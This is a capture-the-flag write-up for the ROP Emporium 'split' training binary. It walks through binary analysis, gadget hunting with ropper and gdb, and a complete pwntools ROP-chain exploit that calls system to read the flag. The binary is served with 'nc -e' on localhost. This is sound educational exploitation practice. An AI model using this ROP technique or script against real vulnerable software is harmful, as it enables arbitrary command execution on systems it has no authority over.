Writeup

Firstly we need to check the security of the binary :

$ rabin2 -I split 
arch     x86
baddr    0x400000
binsz    7137
bintype  elf
bits     64
canary   false
class    ELF64
compiler GCC: (Ubuntu 5.4.0-6ubuntu1~16.04.4) 5.4.0 20160609
crypto   false
endian   little
havecode true
intrp    /lib64/ld-linux-x86-64.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  AMD x86-64 architecture
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    NONE
sanitiz  false
static   false
stripped false
subsys   linux
va       true

Ok, as ret2win even this one has PIC disabled and NX enabled. Let’s analyze the binary with radare2/ghidra :

$ r2 -d split
[0x7f192ac2b100]> aaa
[0x7f192ac2b100]> afl
0x00400650    1 41           entry0
0x00400610    1 6            sym.imp.__libc_start_main
0x00400680    4 50   -> 41   sym.deregister_tm_clones
0x004006c0    4 58   -> 55   sym.register_tm_clones
0x00400700    3 28           entry.fini0
0x00400720    4 38   -> 35   entry.init0
0x004007b5    1 82           sym.pwnme					# interesting
0x00400600    1 6            sym.imp.memset
0x004005d0    1 6            sym.imp.puts
0x004005f0    1 6            sym.imp.printf
0x00400620    1 6            sym.imp.fgets
0x00400807    1 17           sym.usefulFunction			# interesting 
0x004005e0    1 6            sym.imp.system				# useful 
0x00400890    1 2            sym.__libc_csu_fini
0x00400894    1 9            sym._fini
0x00400820    4 101          sym.__libc_csu_init
0x00400746    1 111          main
0x00400630    1 6            sym.imp.setvbuf
0x004005a0    3 26           sym._init
[0x7f192ac2b100]> s main
[0x00400746]> pdg

// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel

undefined8 main(void)
{
    sym.imp.setvbuf(_section..bss, 0, 2, 0);
    sym.imp.setvbuf(_reloc.stderr_160, 0, 2, 0);
    sym.imp.puts("split by ROP Emporium");
    sym.imp.puts("64bits\n");
    sym.pwnme();
    sym.imp.puts("\nExiting");
    return 0;
}
[0x00400746]> s sym.pwnme
[0x004007b5]> pdg

// WARNING: Globals starting with '_' overlap smaller symbols at the same address
// WARNING: [r2ghidra] Failed to find return address in ProtoModel

void sym.pwnme(void)
{
    int32_t var_20h;
    
    sym.imp.memset(&var_20h, 0, 0x20);
    sym.imp.puts("Contriving a reason to ask user for data...");
    sym.imp.printf(0x4008fc);
    sym.imp.fgets(&var_20h, 0x60, _reloc.stdin_144);
    return;
}
[0x004007b5]> s sym.usefulFunction 
[0x00400807]> pdg

// WARNING: [r2ghidra] Failed to find return address in ProtoModel

void sym.usefulFunction(void)
{
    sym.imp.system("/bin/ls");
    return;
}

Ok, as in ret2win we have a BOF on pwnme, however in this case we can’t just change the return address to make it pointing to a function which prints the flag, but we need to create a ROP chain. Firstly, let’s check the useful strings in the binary.

$ rabin2 -z ./split                                                                                                                                                    1 ↵
[Strings]
Num Paddr      Vaddr      Len Size Section  Type  String
000 0x000008a8 0x004008a8  21  22 (.rodata) ascii split by ROP Emporium
001 0x000008be 0x004008be   7   8 (.rodata) ascii 64bits\n
002 0x000008c6 0x004008c6   8   9 (.rodata) ascii \nExiting
003 0x000008d0 0x004008d0  43  44 (.rodata) ascii Contriving a reason to ask user for data...
004 0x000008ff 0x004008ff   7   8 (.rodata) ascii /bin/ls
000 0x00001060 0x00601060  17  18 (.data) ascii /bin/cat flag.txt

We have already in the binary /bin/cat flag.txt, if we are able to pass this string’s address to the system as argument we’re done. Because we’re in a 64 bit binary we need to pass the argument in the register rdi, to do so we can use ropper to find a valid gadget.

ropper --file split | grep rdi
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000004007a1: add byte ptr [rax], al; add byte ptr [rdi + 0x4008c6], bh; call 0x5d0; mov eax, 0; pop rbp; ret; 
0x00000000004007fa: add byte ptr [rax], al; mov rdi, rax; call 0x620; nop; leave; ret; 
0x00000000004007a3: add byte ptr [rdi + 0x4008c6], bh; call 0x5d0; mov eax, 0; pop rbp; ret; 
0x00000000004007f7: mov esi, 0x60; mov rdi, rax; call 0x620; nop; leave; ret; 
0x00000000004007fc: mov rdi, rax; call 0x620; nop; leave; ret; 
0x0000000000400883: pop rdi; ret;

The ROP chain will be :

  1. Change return address to the address of pop rdi; ret.
  2. After the return address put the address of /bin/cat flag.txt
  3. After the address of /bin/cat flag.txt put the address of system@plt (We don’t need the actual address in the libc because in this way we can bypass ASLR).

In this way after the last instruction of pwnme executes the ret, the instruction pointer will jump to the address of pop rdi;ret, simultaneously the stack pointer will point now to the address of /bin/cat flag.txt. The pop rdi then will put in rdi the address of /bin/cat flag.txt and move the stack pointer 8 bytes lower (I mean higher address..) . The ret instruction will execute system@plt.

Get address of system using gdb

gdb -q ./split 
pwndbg: loaded 175 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from ./split...
(No debugging symbols found in ./split)
pwndbg> disass usefulFunction 
Dump of assembler code for function usefulFunction:
   0x0000000000400807 <+0>:     push   rbp
   0x0000000000400808 <+1>:     mov    rbp,rsp
   0x000000000040080b <+4>:     mov    edi,0x4008ff
   0x0000000000400810 <+9>:     call   0x4005e0 <system@plt> # This one
   0x0000000000400815 <+14>:    nop
   0x0000000000400816 <+15>:    pop    rbp
   0x0000000000400817 <+16>:    ret    
End of assembler dump.

Let’s spawn the program with netcat and write an exploit

$ nc -lvp 9999 -e ./split

Exploit

#!/usr/bin/env python3

from pwn import *

conn = remote('127.0.0.1', 9999)
pop_rdi = p64(0x0400883)
cat = p64(0x601060)
system = p64(0x4005e0)
payload = b'a' * 40 + pop_rdi + cat + system 

log.info(conn.recvuntil(">"))
conn.sendline(payload)
log.info(conn.recvline())
conn.close()

with open("out.txt", "wb") as out: 
    out.write(payload)

Time to launch…

$ ./exploit.py
[+] Opening connection to 127.0.0.1 on port 9999: Done
[*] b'split by ROP Emporium\n64bits\n\nContriving a reason to ask user for data...\n>'
[*] b' ROPE{a_placeholder_32byte_flag!}\n'
[*] Closed connection to 127.0.0.1 port 9999

Flag

ROPE{a_placeholder_32byte_flag!}